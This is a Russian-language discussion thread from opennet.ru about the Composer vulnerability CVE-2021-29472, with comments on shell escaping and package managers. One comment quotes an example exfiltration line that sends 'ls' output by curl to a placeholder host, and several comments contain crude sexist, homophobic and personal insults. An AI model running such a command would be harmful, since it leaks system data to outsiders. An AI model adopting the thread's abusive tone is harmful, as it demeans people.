forum.opennet.ru - "Уязвимость в пакетном менеджере Composer, допускающая компрометацию PHP-репозитория Packagist" (59)

"Уязвимость в пакетном менеджере Composer, допускающая компрометацию PHP-репозитория Packagist"

Форум Разговоры, обсуждение новостей
Вариант для распечатки		Пред. тема \| След. тема
Изначальное сообщение		[ Отслеживать ]

"Уязвимость в пакетном менеджере Composer, допускающая компрометацию PHP-репозитория Packagist"	+/–
Сообщение от opennews (?), 03-Май-21, 09:24
В менеджере зависимостей Composer выявлена критическая уязвимость (CVE-2021-29472), позволяющая выполнить произвольные команды в системе при обработке пакета со специально оформленным значением URL, определяющим адрес для загрузки исходных текстов. Проблема проявляется в компонентах GitDriver, SvnDriver и HgDriver, применяемых при использовании систем управления исходными текстами Git, Subversion и Mercurial. Уязвимость устранена в выпусках Composer 1.10.22 и 2.0.13... Подробнее: https://www.opennet.ru/opennews/art.shtml?num=55065
Ответить \| Правка \| Cообщить модератору

Оглавление

Это не баг, это фича , Онаним (?), 09:24 , 03-Май-21, (1) +3

СtI CtD continous trojan integration continuous trojan deployment , Онаним (?), 09:25 , 03-Май-21, (2) +9

Кто все эти люди Индусы и китайцы И это какой-то реально полезный софт , Аноним (3), 09:43 , 03-Май-21, (3) –4

В основном это автоматические деплоеры, которым абсолютно пофиг, сколько там тро, Онаним (?), 09:52 , 03-Май-21, (5)

А деплоят они на локалхост, ага, Анто769ним (?), 10:17 , 03-Май-21, (9) +1

Куча биллингов написано на php, у меня на работе, у мужа на прошлой работе, на н, Аноним (24), 11:17 , 03-Май-21, (24) +3

Все используют - слишком распространённое заблуждение , Онаним (?), 13:47 , 03-Май-21, (41) +1

Картина Репина похапешники и безопасность, Аноним (4), 09:44 , 03-Май-21, (4) –1

Я бы сказал, девляпсы и безопасность Композер долго держался молодцом сравнитель, Онаним (?), 09:53 , 03-Май-21, (6) +6

При комм pear такого не было Потому что было как-то немодно тянуть в рот любу, пох. (?), 10:50 , 03-Май-21, (11)

Скрыто модератором, Dzen Python (ok), 11:18 , 03-Май-21, (25)
при пир такого не было, только потому что сам пир был полухдохлый, имя_ (?), 12:10 , 03-Май-21, (32) +3

Так и с npm ом все в порядке Для понимания разницы, уязвимость нашли не в конеч, Lex (??), 12:56 , 03-Май-21, (39) –2

C npm было ещё хуже, в нём package-manager-agnostic дырень проявилась Которая за, Онаним (?), 22:37 , 03-Май-21, (69) –1

Сделай лучше, фуле , Аноним (28), 11:32 , 03-Май-21, (28) –3

PornDriver, user90 (?), 09:59 , 03-Май-21, (7)

PornHubDriver, Dzen Python (ok), 11:13 , 03-Май-21, (22) –2

Драйверы На пхп , Аноним (10), 10:35 , 03-Май-21, (10) –3

Дело не в PHP Такой же баг был бы на любом языке Дело в подходе вызывать зависи, Аноним (13), 10:58 , 03-Май-21, (13) +5

Гарантированно заэкранировать всё - можно И надо-то для этого всего лишь руки н, Аноним (20), 11:11 , 03-Май-21, (20) –4

Просто нужно чтобы программы писали анонимные эксперты с opennet, а не каким-то , Аноним (24), 11:27 , 03-Май-21, (26) +6

Ну мааам, Аноним (34), 12:34 , 03-Май-21, (34) +1
Да не вопрос, чувак У тебя есть деньги на то, чтобы писали именно анонимные экс, Dzen Python (ok), 12:41 , 03-Май-21, (36) –1

За деньги я и сама могу , Аноним (74), 08:36 , 05-Май-21, (74)
То есть вы предлагаете оплатить исправление уже исправленой уязвимости, оплатить, Аноним (74), 09:18 , 05-Май-21, (75)

Ты так и не понял, к чему это было написано, горе-разраб Разраб композера, зал, Dzen Python (ok), 14:38 , 06-Май-21, (76) –1

Надо понимать код ты пишешь не руками, а теми самыми сантиметрами которыми собра, Аноним (74), 09:29 , 07-Май-21, (77)

Надо понимать, что ты не оставляешь надежды померяться коммитами , Dzen Python (ok), 21:27 , 07-Май-21, (78)

Анонимные эксперты их собственно и пишут, просто в такие вот сводки обычно не по, Онаним (?), 13:49 , 03-Май-21, (42) –1

Альтернативы - Монолитный блоатварь, где все эти утилиты слеплены воедино И стр, Dzen Python (ok), 11:12 , 03-Май-21, (21) –2

Не вчитывался подробно и не знаю особенностей php, но насколько я понимаю нечто , Аноним (13), 11:38 , 03-Май-21, (29)

Прям с 2011 года весь аудит просмотрели , Аноним (13), 10:54 , 03-Май-21, (12)

Грепнули логи, делов то, Аноним (19), 11:09 , 03-Май-21, (19) –1

Неуязвимых не бывает , Анонин (?), 10:59 , 03-Май-21, (14)
пакетаnpm postinstall Уязвимость о_О Фух, показалось , Аноним (13), 11:00 , 03-Май-21, (15) +1

Даже например deb пакеты такое умеют , Аноним (18), 11:07 , 03-Май-21, (18) +1

Чето в голос , Аноним (18), 11:03 , 03-Май-21, (16) –5
Никогда такого не было и вот опять , Dzen Python (ok), 11:07 , 03-Май-21, (17) –5
все эти composer, pip, npm для идиотов которые не знают что такое git submodules, Аноним (23), 11:16 , 03-Май-21, (23) –5

лучше покажи мне дурачка который будет использовать git submodules вместо pip, т, Аноним (27), 11:28 , 03-Май-21, (27) +7

Любой вменяемый даже если и использует всю эту дрянь, то только чтобы скачать и , Аноним (23), 11:44 , 03-Май-21, (30) +1
Возможно вам понравится Go Ибо он тупо переиспользует git для удалённых зависим, anonymous (??), 14:45 , 03-Май-21, (45)

Все эти менеджеры зависимостей в линуксе для тех кто не осилил wget, hshhhhh (ok), 12:23 , 03-Май-21, (33) +4

И не осилил собственную графовую БД для зависимостей Слабаки , YetAnotherOnanym (ok), 12:38 , 03-Май-21, (35) +4

Лошье Только бумага и карандаш Никаких БД Все зависимости должны быть отрисова, пох. (?), 12:42 , 03-Май-21, (37)

Нужно создать единое министерство зависимостей И ввести ответственность за выда, Аноним (48), 15:20 , 03-Май-21, (48)
я предпочитаю хранить все в голове, макпыф (ok), 17:50 , 03-Май-21, (59)

всё ещё на слакваре , hshhhhh (ok), 21:10 , 03-Май-21, (67)

lfs, макпыф (ok), 21:13 , 03-Май-21, (68) +1

А что, готишно Свиток с графом зависимостей, аккуратно свешивающийся из стоящ, пох. (?), 20:21 , 04-Май-21, (72) +1

Ыыыы какая прелесть Одного меня настораживает такая скорость , YetAnotherOnanym (ok), 11:59 , 03-Май-21, (31) –3

Да , Аноним (49), 15:30 , 03-Май-21, (49) +1

Скрыто модератором, Анин (?), 14:16 , 03-Май-21, (43) –1

Скрыто модератором, Dzen Python (ok), 16:16 , 03-Май-21, (51) –1
Скрыто модератором, Аноним (53), 16:23 , 03-Май-21, (53) +2

Скрыто модератором, Аноним (48), 16:50 , 03-Май-21, (54)

Скрыто модератором, Анин (?), 20:37 , 03-Май-21, (66)

Скрыто модератором, Анин (?), 20:36 , 03-Май-21, (65)

Уж сколько раз твердили миру юзайте API 124 124 RPC 124 124 передавайт, Аноним (79), 21:34 , 10-Май-21, (79)

Сообщения [Сортировка по времени | RSS]

1. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +3 +/–

Сообщение от Онаним (?), 03-Май-21, 09:24

Это не баг, это фича.

Ответить | Правка | Наверх | Cообщить модератору

2. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +9 +/–

Сообщение от Онаним (?), 03-Май-21, 09:25

(СtI/CtD = continous trojan integration / continuous trojan deployment)

Ответить | Правка | Наверх | Cообщить модератору

3. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –4 +/–

Сообщение от Аноним (3), 03-Май-21, 09:43

> ежемесячно обслуживающий более 1.4 миллиарда загрузок
Кто все эти люди? Индусы и китайцы? И это какой-то реально полезный софт?

Ответить | Правка | Наверх | Cообщить модератору

5. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от Онаним (?), 03-Май-21, 09:52

В основном это автоматические деплоеры, которым абсолютно пофиг, сколько там троянов внутри.

Ответить | Правка | Наверх | Cообщить модератору

9. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +1 +/–

Сообщение от Анто769ним (?), 03-Май-21, 10:17

А деплоят они на локалхост, ага

Ответить | Правка | Наверх | Cообщить модератору

24. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +3 +/–

Сообщение от Аноним (24), 03-Май-21, 11:17

Куча биллингов написано на php, у меня на работе, у мужа на прошлой работе, на новой crm. Все они используют композер.
Все используют композер если программируют на php, это тоже самое что maven для java.

Ответить | Правка | К родителю #3 | Наверх | Cообщить модератору

41. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +1 +/–

Сообщение от Онаним (?), 03-Май-21, 13:47

"Все используют" - слишком распространённое заблуждение.

Ответить | Правка | Наверх | Cообщить модератору

4. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –1 +/–

Сообщение от Аноним (4), 03-Май-21, 09:44

Картина Репина: похапешники и безопасность

Ответить | Правка | Наверх | Cообщить модератору

6. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +6 +/–

Сообщение от Онаним (?), 03-Май-21, 09:53

Я бы сказал, девляпсы и безопасность.
Композер долго держался молодцом сравнительно со всякими npm.

Ответить | Правка | Наверх | Cообщить модератору

11. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от пох. (?), 03-Май-21, 10:50

При комм....pear такого не было.
Потому что было как-то немодно тянуть в рот любую какашку с шитхаба. Но для обезьянок это было слишком сложно и замороченно.

Ответить | Правка | Наверх | Cообщить модератору

25. Скрыто модератором +/–

Сообщение от Dzen Python (ok), 03-Май-21, 11:18

Ну щито поделать-то? Обезьянья культурка "поколения гитхаба" стала самоподдерживающейся.
При ней главное СоС нарисовать и перед всякими ущербными жирофемками и "до чего дошел прогресс - у Коляна ПМС" не отсвечивать. А вот на код и на проверку либ времени не остается. Вот и пихают в проекты все что не попадя, наудачу надеясь, что экзерсис VasyanKolyanLGBT666 будет хоть немного рабочим.

Ответить | Правка | Наверх | Cообщить модератору

32. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +3 +/–

Сообщение от имя_ (?), 03-Май-21, 12:10

при пир такого не было, только потому что сам пир был полухдохлый

Ответить | Правка | К родителю #11 | Наверх | Cообщить модератору

39. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –2 +/–

Сообщение от Lex (??), 03-Май-21, 12:56

Так и с npm'ом все в порядке..
Для понимания разницы, уязвимость нашли не в конечном пакете которых горы, а в самом пакетном менеджере [для пыха]

Ответить | Правка | К родителю #6 | Наверх | Cообщить модератору

69. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –1 +/–

Сообщение от Онаним (?), 03-Май-21, 22:37

C npm было ещё хуже, в нём package-manager-agnostic дырень проявилась.
Которая задела не только npm, а все недопакетные недоменеджеры по касательной.
Потому что сама платформа изначально делана кривыми ногами.
CVE-2019-16776
CVE-2019-16777

Ответить | Правка | Наверх | Cообщить модератору

28. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –3 +/–

Сообщение от Аноним (28), 03-Май-21, 11:32

Сделай лучше, фуле!

Ответить | Правка | К родителю #4 | Наверх | Cообщить модератору

7. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от user90 (?), 03-Май-21, 09:59

PornDriver

Ответить | Правка | Наверх | Cообщить модератору

22. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –2 +/–

Сообщение от Dzen Python (ok), 03-Май-21, 11:13

PornHubDriver

Ответить | Правка | Наверх | Cообщить модератору

10. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –3 +/–

Сообщение от Аноним (10), 03-Май-21, 10:35

Драйверы. На пхп.

Ответить | Правка | Наверх | Cообщить модератору

13. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +5 +/–

Сообщение от Аноним (13), 03-Май-21, 10:58

Дело не в PHP Такой же баг был бы на любом языке. Дело в подходе вызывать зависимости через командную строку. Это всегда дыряво. Нельзя гарантированно заэкранировать всё. С SQL это поняли и перестали пытаться экранировать. В мире linux где всё состоит из отдельных консольных программ, которые вызывают друг друга через командную строку это распространённая практика, от которой ещё долго будут отвыкать. Так что увы. Подобные баги будут повторяться.

Ответить | Правка | Наверх | Cообщить модератору

20. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –4 +/–

Сообщение от Аноним (20), 03-Май-21, 11:11

Гарантированно заэкранировать всё - можно. И надо-то для этого всего лишь руки не из задницы иметь.

Ответить | Правка | Наверх | Cообщить модератору

26. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +6 +/–

Сообщение от Аноним (24), 03-Май-21, 11:27

Просто нужно чтобы программы писали анонимные эксперты с opennet, а не каким-то вебмакакам. Анонимные эксперты на то и эксперты что у них руки не из задницы ростут.

Ответить | Правка | Наверх | Cообщить модератору

34. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +1 +/–

Сообщение от Аноним (34), 03-Май-21, 12:34

Ну мааам

Ответить | Правка | Наверх | Cообщить модератору

36. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –1 +/–

Сообщение от Dzen Python (ok), 03-Май-21, 12:41

Да не вопрос, чувак. У тебя есть деньги на то, чтобы писали именно анонимные эксперты с опеннета? Со всеми проверками, тестированием, без постоянных сроков "надо было еще вчера" и без очешуительных правок в самый последний момент? Что такое, что мордочку-то скривил?

Ответить | Правка | К родителю #26 | Наверх | Cообщить модератору

74. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от Аноним (74), 05-Май-21, 08:36

За деньги я и сама могу.

Ответить | Правка | Наверх | Cообщить модератору

75. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от Аноним (74), 05-Май-21, 09:18

То есть вы предлагаете оплатить исправление уже исправленой уязвимости, оплатить неизвестно кому, кто с 99.9% вероятностью ничего сложного на php не писал, при этом с бесконечными сроками?
И вообще, сколько комитов вы уже сделали в composer? Покажите их.

Ответить | Правка | К родителю #36 | Наверх | Cообщить модератору

76. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –1 +/–

Сообщение от Dzen Python (ok), 06-Май-21, 14:38

> Гарантированно заэкранировать всё - можно. И надо-то для этого всего лишь руки не из задницы иметь.
> Кудох-тох-тох, эти анонимные эксперты с опеннета
Ты так и не понял, к чему это было написано, горе-разраб...
> И вообще, сколько комитов вы уже сделали в composer? Покажите их.
Разраб композера, залогинься. Все равно у меня длиннее - не в коммитах, а в нормальных сантиметрах.

Ответить | Правка | Наверх | Cообщить модератору

77. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от Аноним (74), 07-Май-21, 09:29

Надо понимать код ты пишешь не руками, а теми самыми сантиметрами которыми собрался меняться.

Ответить | Правка | Наверх | Cообщить модератору

78. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от Dzen Python (ok), 07-Май-21, 21:27

> Надо понимать код ты пишешь не руками, а теми самыми сантиметрами которыми
> собрался меняться.
Надо понимать, что ты не оставляешь надежды померяться коммитами?

Ответить | Правка | Наверх | Cообщить модератору

42. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –1 +/–

Сообщение от Онаним (?), 03-Май-21, 13:49

Анонимные эксперты их собственно и пишут, просто в такие вот сводки обычно не попадают, потому что и область собственно распространения поуже "широкой макакопублики", и маразмов поменьше.

Ответить | Правка | К родителю #26 | Наверх | Cообщить модератору

21. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –2 +/–

Сообщение от Dzen Python (ok), 03-Май-21, 11:12

Альтернативы?
- Монолитный блоатварь, где все эти утилиты слеплены воедино? И страдать, если встроенный в код аналог grep'а нельзя заменить на ZZZgrep, умеющий фичу YYY, облегчающий в сценарии XXX работу, убирая много строк потенциально опасного шеллкода?
- RPC, который ломается точно так же?

Ответить | Правка | К родителю #13 | Наверх | Cообщить модератору

29. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от Аноним (13), 03-Май-21, 11:38

Не вчитывался подробно и не знаю особенностей php, но насколько я понимаю нечто подобное этому
https://github.com/libgit2/php-git решило бы проблему.
php-git2 is a PHP bindings to the libgit2 linkable C Git library.

Ответить | Правка | Наверх | Cообщить модератору

12. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от Аноним (13), 03-Май-21, 10:54

>> Аудит логов на серверах Packagist не выявил связанной с уязвимостью подозрительной активности.
>> Ошибка присутствует в коде с ноября 2011 года.
Прям с 2011 года весь аудит просмотрели?

Ответить | Правка | Наверх | Cообщить модератору

19. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –1 +/–

Сообщение от Аноним (19), 03-Май-21, 11:09

Грепнули логи, делов то

Ответить | Правка | Наверх | Cообщить модератору

14. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от Анонин (?), 03-Май-21, 10:59

Неуязвимых не бывает.

Ответить | Правка | Наверх | Cообщить модератору

15. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +1 +/–

Сообщение от Аноним (13), 03-Май-21, 11:00

>> В менеджере зависимостей Composer выявлена критическая уязвимость, позволяющая выполнить произвольные команды в системе при обработке
пакета
npm postinstall: Уязвимость? о_О Фух, показалось...

Ответить | Правка | Наверх | Cообщить модератору

18. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +1 +/–

Сообщение от Аноним (18), 03-Май-21, 11:07

Даже например deb пакеты такое умеют.

Ответить | Правка | Наверх | Cообщить модератору

16. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –5 +/–

Сообщение от Аноним (18), 03-Май-21, 11:03

Чето в голос.

Ответить | Правка | Наверх | Cообщить модератору

17. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –5 +/–

Сообщение от Dzen Python (ok), 03-Май-21, 11:07

Никогда такого не было и вот опять...

Ответить | Правка | Наверх | Cообщить модератору

23. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –5 +/–

Сообщение от Аноним (23), 03-Май-21, 11:16

все эти composer, pip, npm для идиотов которые не знают что такое git submodules

Ответить | Правка | Наверх | Cообщить модератору

27. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +7 +/–

Сообщение от Аноним (27), 03-Май-21, 11:28

лучше покажи мне дурачка который будет использовать git submodules вместо pip, таких даже среди клинических больных поискать придётся

Ответить | Правка | Наверх | Cообщить модератору

30. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +1 +/–

Сообщение от Аноним (23), 03-Май-21, 11:44

Любой вменяемый даже если и использует всю эту дрянь, то только чтобы скачать и тут же закрепить в submodules

Ответить | Правка | Наверх | Cообщить модератору

45. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от anonymous (??), 03-Май-21, 14:45

Возможно вам понравится Go. Ибо он тупо переиспользует git для удалённых зависимостей.

Ответить | Правка | К родителю #27 | Наверх | Cообщить модератору

33. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +4 +/–

Сообщение от hshhhhh (ok), 03-Май-21, 12:23

Все эти менеджеры зависимостей в линуксе для тех кто не осилил wget

Ответить | Правка | К родителю #23 | Наверх | Cообщить модератору

35. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +4 +/–

Сообщение от YetAnotherOnanym (ok), 03-Май-21, 12:38

И не осилил собственную графовую БД для зависимостей. Слабаки!

Ответить | Правка | Наверх | Cообщить модератору

37. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от пох. (?), 03-Май-21, 12:42

Лошье! Только бумага и карандаш! Никаких БД!
Все зависимости должны быть отрисованы вручную и подписаны экспертом!

Ответить | Правка | Наверх | Cообщить модератору

48. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от Аноним (48), 03-Май-21, 15:20

Нужно создать единое министерство зависимостей. И ввести ответственность за выдачу заведомо ложных зависимостей.

Ответить | Правка | Наверх | Cообщить модератору

59. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от макпыф (ok), 03-Май-21, 17:50

я предпочитаю хранить все в голове

Ответить | Правка | К родителю #37 | Наверх | Cообщить модератору

67. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от hshhhhh (ok), 03-Май-21, 21:10

всё ещё на слакваре?

Ответить | Правка | Наверх | Cообщить модератору

68. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +1 +/–

Сообщение от макпыф (ok), 03-Май-21, 21:13

> всё ещё на слакваре?
lfs

Ответить | Правка | Наверх | Cообщить модератору

72. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +1 +/–

Сообщение от пох. (?), 04-Май-21, 20:21

А что, готишно... Свиток с графом зависимостей, аккуратно свешивающийся из стоящего на полке черепа... товарищмайор, возможно, не совсем одобряют охоту за головами, но, с другой стороны, много ведь и не надо. А этим, из "Сети", пару голов ведь простили и отпустили... это ж не грибы на погибель мировому империализму растить, а просто пара подвернувшихся под руку неудачников...
Я бы штук семь, пожалуй, собрал, для красивого числа.

Ответить | Правка | К родителю #59 | Наверх | Cообщить модератору

31. "Уязвимость в пакетном менеджере Composer, допускающая компро..." –3 +/–

Сообщение от YetAnotherOnanym (ok), 03-Май-21, 11:59

> curl http://exfiltration-host.tld --data “$(ls -alh)
Ыыыы... какая прелесть!
> в тот же день проблема была исправлена
Одного меня настораживает такая скорость?

Ответить | Правка | Наверх | Cообщить модератору

49. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +1 +/–

Сообщение от Аноним (49), 03-Май-21, 15:30

> Одного меня настораживает такая скорость?
Да.

Ответить | Правка | Наверх | Cообщить модератору

43. Скрыто модератором –1 +/–

Сообщение от Анин (?), 03-Май-21, 14:16

Ребята из Миннесоты лютуют

Ответить | Правка | Наверх | Cообщить модератору

51. Скрыто модератором –1 +/–

Сообщение от Dzen Python (ok), 03-Май-21, 16:16

Врешь. Это все Петров aka "Lovely_Bear" и Боширов aka "M$pwnER".

Ответить | Правка | Наверх | Cообщить модератору

53. Скрыто модератором +2 +/–

Сообщение от Аноним (53), 03-Май-21, 16:23

>Ребята из Миннесоты лютуют
... Шапитофф и Литрофф ?

Ответить | Правка | К родителю #43 | Наверх | Cообщить модератору

54. Скрыто модератором +/–

Сообщение от Аноним (48), 03-Май-21, 16:50

Адитья Пакки вы только посмотрите на его честное, цветное, трансгендерное лицо https://adityapakki.github.io/ разве мог быть у него какой-то умысел? Он просто код писать не умеет просто он только на джаваскриат умел до коммита в ядро.

Ответить | Правка | Наверх | Cообщить модератору

66. Скрыто модератором +/–

Сообщение от Анин (?), 03-Май-21, 20:37

Петров переборщил с автозагаром

Ответить | Правка | Наверх | Cообщить модератору

65. Скрыто модератором +/–

Сообщение от Анин (?), 03-Май-21, 20:36

Они же Попа и Табаров они же...

Ответить | Правка | К родителю #53 | Наверх | Cообщить модератору

79. "Уязвимость в пакетном менеджере Composer, допускающая компро..." +/–

Сообщение от Аноним (79), 10-Май-21, 21:34

>которые выполняются при помощи вызова "fromShellCommandline" с передачей аргументов командной строки.
Уж сколько раз твердили миру:
юзайте API || RPC || передавайте аргументы через конфиг-файл/трубу || реализуйте, еслине реализовано || GTFO.
Но there is a sucker born every minute, желающие и ведущиеся на лёгкие пути не мамонты и не вымрут никогда.

Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема

Партнёры:

Хостинг:

Закладки на сайте
Проследить за страницей

Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру

1. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+3 +/–
Сообщение от Онаним (?), 03-Май-21, 09:24
Это не баг, это фича.
Ответить \| Правка \| Наверх \| Cообщить модератору


	2. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+9 +/–
	Сообщение от Онаним (?), 03-Май-21, 09:25
	(СtI/CtD = continous trojan integration / continuous trojan deployment)
	Ответить \| Правка \| Наверх \| Cообщить модератору

3. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	–4 +/–
Сообщение от Аноним (3), 03-Май-21, 09:43
> ежемесячно обслуживающий более 1.4 миллиарда загрузок Кто все эти люди? Индусы и китайцы? И это какой-то реально полезный софт?
Ответить \| Правка \| Наверх \| Cообщить модератору


	5. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+/–
	Сообщение от Онаним (?), 03-Май-21, 09:52
	В основном это автоматические деплоеры, которым абсолютно пофиг, сколько там троянов внутри.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	9. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+1 +/–
	Сообщение от Анто769ним (?), 03-Май-21, 10:17
	А деплоят они на локалхост, ага
	Ответить \| Правка \| Наверх \| Cообщить модератору


	24. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+3 +/–
	Сообщение от Аноним (24), 03-Май-21, 11:17
	Куча биллингов написано на php, у меня на работе, у мужа на прошлой работе, на новой crm. Все они используют композер. Все используют композер если программируют на php, это тоже самое что maven для java.
	Ответить \| Правка \| К родителю #3 \| Наверх \| Cообщить модератору


	41. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+1 +/–
	Сообщение от Онаним (?), 03-Май-21, 13:47
	"Все используют" - слишком распространённое заблуждение.
	Ответить \| Правка \| Наверх \| Cообщить модератору

4. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	–1 +/–
Сообщение от Аноним (4), 03-Май-21, 09:44
Картина Репина: похапешники и безопасность
Ответить \| Правка \| Наверх \| Cообщить модератору


	6. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+6 +/–
	Сообщение от Онаним (?), 03-Май-21, 09:53
	Я бы сказал, девляпсы и безопасность. Композер долго держался молодцом сравнительно со всякими npm.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	11. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+/–
	Сообщение от пох. (?), 03-Май-21, 10:50
	При комм....pear такого не было. Потому что было как-то немодно тянуть в рот любую какашку с шитхаба. Но для обезьянок это было слишком сложно и замороченно.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	25. Скрыто модератором	+/–
	Сообщение от Dzen Python (ok), 03-Май-21, 11:18
	Ну щито поделать-то? Обезьянья культурка "поколения гитхаба" стала самоподдерживающейся. При ней главное СоС нарисовать и перед всякими ущербными жирофемками и "до чего дошел прогресс - у Коляна ПМС" не отсвечивать. А вот на код и на проверку либ времени не остается. Вот и пихают в проекты все что не попадя, наудачу надеясь, что экзерсис VasyanKolyanLGBT666 будет хоть немного рабочим.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	32. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+3 +/–
	Сообщение от имя_ (?), 03-Май-21, 12:10
	при пир такого не было, только потому что сам пир был полухдохлый
	Ответить \| Правка \| К родителю #11 \| Наверх \| Cообщить модератору


	39. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	–2 +/–
	Сообщение от Lex (??), 03-Май-21, 12:56
	Так и с npm'ом все в порядке.. Для понимания разницы, уязвимость нашли не в конечном пакете которых горы, а в самом пакетном менеджере [для пыха]
	Ответить \| Правка \| К родителю #6 \| Наверх \| Cообщить модератору


	69. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	–1 +/–
	Сообщение от Онаним (?), 03-Май-21, 22:37
	C npm было ещё хуже, в нём package-manager-agnostic дырень проявилась. Которая задела не только npm, а все недопакетные недоменеджеры по касательной. Потому что сама платформа изначально делана кривыми ногами. CVE-2019-16776 CVE-2019-16777
	Ответить \| Правка \| Наверх \| Cообщить модератору


	28. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	–3 +/–
	Сообщение от Аноним (28), 03-Май-21, 11:32
	Сделай лучше, фуле!
	Ответить \| Правка \| К родителю #4 \| Наверх \| Cообщить модератору

7. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+/–
Сообщение от user90 (?), 03-Май-21, 09:59
PornDriver
Ответить \| Правка \| Наверх \| Cообщить модератору


	22. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	–2 +/–
	Сообщение от Dzen Python (ok), 03-Май-21, 11:13
	PornHubDriver
	Ответить \| Правка \| Наверх \| Cообщить модератору

10. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	–3 +/–
Сообщение от Аноним (10), 03-Май-21, 10:35
Драйверы. На пхп.
Ответить \| Правка \| Наверх \| Cообщить модератору


	13. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+5 +/–
	Сообщение от Аноним (13), 03-Май-21, 10:58
	Дело не в PHP Такой же баг был бы на любом языке. Дело в подходе вызывать зависимости через командную строку. Это всегда дыряво. Нельзя гарантированно заэкранировать всё. С SQL это поняли и перестали пытаться экранировать. В мире linux где всё состоит из отдельных консольных программ, которые вызывают друг друга через командную строку это распространённая практика, от которой ещё долго будут отвыкать. Так что увы. Подобные баги будут повторяться.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	20. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	–4 +/–
	Сообщение от Аноним (20), 03-Май-21, 11:11
	Гарантированно заэкранировать всё - можно. И надо-то для этого всего лишь руки не из задницы иметь.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	26. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+6 +/–
	Сообщение от Аноним (24), 03-Май-21, 11:27
	Просто нужно чтобы программы писали анонимные эксперты с opennet, а не каким-то вебмакакам. Анонимные эксперты на то и эксперты что у них руки не из задницы ростут.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	34. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	+1 +/–
	Сообщение от Аноним (34), 03-Май-21, 12:34
	Ну мааам
	Ответить \| Правка \| Наверх \| Cообщить модератору


	36. "Уязвимость в пакетном менеджере Composer, допускающая компро..."	–1 +/–
	Сообщение от Dzen Python (ok), 03-Май-21, 12:41
	Да не вопрос, чувак. У тебя есть деньги на то, чтобы писали именно анонимные эксперты с опеннета? Со всеми проверками, тестированием, без постоянных сроков "надо было еще вчера" и без очешуительных правок в самый последний момент? Что такое, что мордочку-то скривил?
